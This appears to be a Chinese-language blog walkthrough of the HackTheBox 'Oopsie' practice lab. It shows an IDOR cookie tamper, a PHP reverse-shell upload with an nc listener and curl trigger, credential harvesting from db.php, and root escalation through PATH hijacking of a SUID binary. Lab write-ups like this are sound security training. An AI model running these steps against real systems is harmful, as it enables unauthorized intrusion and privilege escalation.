[HTB] Oopsie 渗透测试笔记
HackTheBox:Oopsie 靶场的完整渗透流程
一、端口扫描
使用 Nmap 进行端口扫描,发现以下开放端口:
22/tcp open ssh
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
1 | nmap -sS -T4 -sV -Pn 10.129.95.191 |
二、信息收集
1.根据端口扫描结果,访问 HTTP 服务
根据提示发现需要找login页面,f12查看源代码发现路径
成功访问页面
尝试了弱口令爆破没有成功,使用以游客身份登陆进一步获取信息
三、获取用户权限
1.使用 BurpSuite 代理抓包,获得管理员id和username
以游客身份登陆进去后,在Account模块发现id传包,于是使用 BurpSuite 代理抓包,并遍历id
发现了admin和super admin
之后使用super admin放包
successfully!
之后根据靶场要求使用upload功能上传文件。
发现以游客身份无法上传
于是根据之前的抓包过程,先进行uploads页面抓包,修改为super admin的id和username然后放包,成功访问该模块
2.上传反弹shell文件
首先找upload上传路径,使用gobuster进行目录爆破
1 | gobuster dir -u http://10.129.95.191 -w /usr/share/wordlists/dirb/common.txt -t 50 |
发现是uploads文件夹
准备php反弹shell文件。
这里我使用kali自带的php-reverse-shell.php文件
接下来修改监听ip和端口
⚠ 错误提示,点击查看
注意**上图修改的端口最好使用8888**,因为我这里使用4444端口失败了,chatgpt给的是可能被靶机防火墙规则封掉了📌 Vim 简单使用速查表(点击展开)
## 1. 进入和退出 Vim1 | vim filename # 打开或新建文件 |
1 | :q # 退出 Vim |
1 | x # 删除光标所在字符 |
修改成自己的监听IP和端口后,使用nc监听
1 | nc -lvnp 8888 |
在上传过程中依然要抓包修改cookie
提示上传成功

3. 使用curl触发反弹shell
1 | curl http://10.129.95.191/uploads/phpshell.php |
成功获取shell
四、提权
1. 提升为terminal shell
之前获得到的是一个php shell,并不能算是终端,需要做一下升级
1 | # 常用升级方法 |
2. 信息收集
使用linux命令查看cdn-cgi/login目录内部文件
1 | ls -la /var/www/html/cdn-cgi/login |
发现db.php文件
怀疑内部有数据库连接信息
1 | cat /var/www/html/cdn-cgi/login/db.php |
提权以robert用户身份登录
1 | su robert |
查看目录
1 | ls -la |
查找当前用户id,组id以及所属的group
1 | id |

查找属于该group的全部文件
1 | find / -group bugtracker 2>/dev/null |

发现只有一个/usr/bin/bugtracker文件
查看该文件权限和详细信息
1 | ls -la /usr/bin/bugtracker |
发现该文件是一个涉及到SUID方面的文件
🔍 关于 SUID
SUID(Set User ID)是一个特殊的文件权限位,当一个可执行文件被设置了 SUID 位时,任何用户运行该文件时,都会以文件所有者的权限来执行,而不是以运行该文件的用户的权限来执行。这通常用于允许普通用户执行需要更高权限的程序。执行该文件
1 | /usr/bin/bugtracker |
这里直接输入root.txt文件路径发现能直接获取root的flag
但是依然没有获取到root权限,所以我尝试利用该文件获取.ssh/id_rsa文件
1 | /usr/bin/bugtracker |

但是如上图失败了,个人推测可能是该文件不存在(大概率),或者权限不足
3. 使用PATH劫持提权
PATH劫持的原理
利用了 /usr/bin/bugtracker 这个程序是 setuid root 并且在代码里直接调用了 cat,但没有用绝对路径。在/tmp创建假的cat程序
1 | echo '/bin/sh' > /tmp/cat |
执行bugtracker程序
成功获取最高root权限!
参考: Hack-The-Box Oopsie 的分析
五、总结
在本次测试中,在执行反弹shell时候,有时候文件上传成功一次,但有时候需要多次尝试才能成功。这可能与靶场的防护机制有关,需要根据实际情况灵活应对。
上传的 php-reverse-shell.php 会在被访问(curl)时,立刻执行 system() 反弹到监听端口,然后 PHP 脚本结束,进程销毁。当第二次 curl 时,如果服务器的 PHP 环境不允许重复执行某些脚本(比如缓存、会话锁),可能就不触发。
这也是我第一次遇到通过PATH劫持提权的情况,非常有助于拓展提权思路
每一次突破权限,都是跨越认知的藩篱;每一次失败,都是积蓄下一次成功的力量!



















![[HTB] Vaccine 渗透测试笔记](https://img.nuyoah.icu/post/postcover/1754957308525_a03c7988cfa9f6c64f900037f12b00d5.webp)
![[HTB] Oopsie 渗透测试笔记](https://img.nuyoah.icu/post/postcover/1754957308521_9742ad3ab1d77012675c4a8d651dcf1c.webp)
![[HTB] Archetype 渗透测试笔记](https://img.nuyoah.icu/post/postcover/1754957308523_c792bdc475f4e6e2b80301ba2bf9aa68.webp)